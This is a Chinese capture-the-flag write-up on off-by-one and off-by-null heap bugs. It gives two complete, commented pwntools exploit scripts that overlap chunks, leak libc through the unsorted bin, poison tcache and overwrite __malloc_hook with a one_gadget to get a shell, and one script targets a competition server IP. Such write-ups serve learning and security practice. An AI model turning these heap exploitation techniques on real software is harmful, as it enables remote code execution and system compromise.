通过“强网”拟态学习了off-by-one和off-by-null的姿势,写一下总结

old_school

很经典的菜单题,有New、Edit、Print、Remove功能,其中Edit里有一个溢出,可以多写一个字节的内容,即off-by-one,就不上图了,直接上exp分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# -*- coding:utf-8  -*-
from pwn import *
context.log_level='debug'

r = remote("121.36.194.21", 49153)
# r = process("./old_school")

def New(index, size):
r.sendlineafter("Your choice:", '1')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Size:", str(size))

def Edit(index, content):
r.sendlineafter("Your choice:", '2')
r.sendlineafter("Index:", str(index))
r.sendafter("Content:", content)

def Print(index):
r.sendlineafter("Your choice:", '3')
r.sendlineafter("Index:", str(index))
r.recvuntil("Content: ")
return r.recvuntil("1. New")[:-7]

def Remove(index):
r.sendlineafter("Your choice:", '4')
r.sendlineafter("Index:", str(index))


# tcache
# 因为是 ubuntu18 的环境,所以会有tcache机制,tcache可以简单的理解为一个缓冲区,在 [0x20, 0x400) 范围内的堆块在释放的时候会首先放入相应的tcache链表中,每个链表上最多存储7个 chunk,同时,因为tcache在其他的机制之前,并且他的某些机制做的不是很好,使得堆溢出某种意义上变得更简单了?(一定环境条件下)
# tcache的利用:如果存在两个指向同一堆块的指针,可以将一个放入tcache中,用另一个直接修改chunk的fd指针用于申请指定地址的内存

New(10, 0xd8)
New(11, 0xd8)
New(12, 0xd8)
New(13, 0xd8)
New(14, 0xd8)
New(15, 0xd8)
New(16, 0xd8)
Remove(10)
Remove(11)
Remove(12)
Remove(13)
Remove(14)
Remove(15)
Remove(16) # 将 0xe0 的tcache链填充满



New(0, 0x68) # 0x70 大小的chunk
New(1, 0x68)
New(2, 0x68)
New(3, 0x68)
New(4, 0x68)


Edit(0, 'a'*0x68+p8(0xe1)) # 通过0修改1的大小,使其等于1+2的大小
Remove(1) # 释放1,因为此时1的大小为1+2的大小,所以会将1和2放在一起释放掉(被当成了一个chunk)
# 1+2的大小为 0xe0, 因为tcache中0xe0大小的链表之前已经填充满了。所以此时1会被放入unsorted bin中
New(1, 0x68) # 1) 检测到tcache中没有大小相对应的chunk
# 2) 检测到bin中没有大小相对应的chunk,但是unsorted bin中存在一个大chunk,进行分割
# 分割后此时unsorted bin中存放的内容便是2
unsorted_bin = u64(Print(2).ljust(8, '\x00'))-8 # 通过2的fd泄漏unsorted bin的地址
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23 # 额外覆盖0x13


from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ])
ogg = libc.ogg() + base


# ogg = 0x4f432 + main_arena - 0x3EBC40
log.success("hack addr => {}".format(hex(hack)))
log.success("one_gadget addr => {}".format(hex(ogg)))

New(5, 0x68) # 将unsorted bin中chunk申请出来
# 此时2和5指向同一块内存
Remove(2) # 将2放入tcache中
Edit(5, p64(hack)+'\n') # 修改2的fd指针

New(8, 0x68) # 将2申请出来
New(9, 0x68) # 将指定的的内存申请出来
Edit(9, 'a'*0x23+p64(ogg)+'\n') # 修改__malloc_hook内容
# pause()
New(17, 0x30) # 触发__malloc_hook




r.interactive()

old_school_revenge

程序内容和上个题一致,唯一的区别就是之前的off-by-one变成了off-by-null,同样直接上脚本讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8  -*-
from pwn import *
context.log_level='info'

# r = remote("121.36.194.21", 49153)
r = process("./old_school_revenge")
pause()

def New(index, size):
r.sendlineafter("Your choice:", '1')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Size:", str(size))

def Edit(index, content):
r.sendlineafter("Your choice:", '2')
r.sendlineafter("Index:", str(index))
r.sendlineafter("Content:", content)

def Print(index):
r.sendlineafter("Your choice:", '3')
r.sendlineafter("Index:", str(index))
r.recvuntil("Content: ")
return r.recvuntil("1. New")[:-7]

def Remove(index):
r.sendlineafter("Your choice:", '4')
r.sendlineafter("Index:", str(index))

for i in range(7):
New(i, 0xf8) # 用于填充tchche
New(7, 0xf8)
New(8, 0x88)
New(9, 0xf8)
New(10, 0x88)
log.info("New over")

for i in range(7):
Remove(i)

Remove(8) #
Remove(7) #
New(11, 0x88) # 注意这个chunk和8是同一块内容
Edit(11, 'a'*0x80+p64(0x90+0x100)) # 相当于用8修改9的prev_size字段
# context.log_level='debug'

Remove(9) # 释放9,触发unlink,完成overlap

for i in range(8):
New(i, 0xf8) # 获取(7+1)个chunk,此时unsortbin中放的chunk为8+9合并起来的一个大chunk



#leak libc
unsorted_bin = u64(Print(11).ljust(8, '\x00')) - 8 # 通过11查看unsortbin的地址,注意这个11和8是一个chunk
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23 # 额外覆盖0x13
log.success("hack addr => {}".format(hex(hack)))
# pause()


from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ])
system = base + libc.dump([ 'system' ])
ogg = libc.ogg() + base


New(8, 0x88) # 将8申请出来,此时8和11指向同一块内存,后续常规利用即可


Remove(8)
Edit(11, p64(hack))
pause()
New(9, 0x88)
New(12, 0x88)
Edit(12, 'a'*0x23+p64(ogg))
pause()
New(13, 0x23)


r.interactive()

附图一张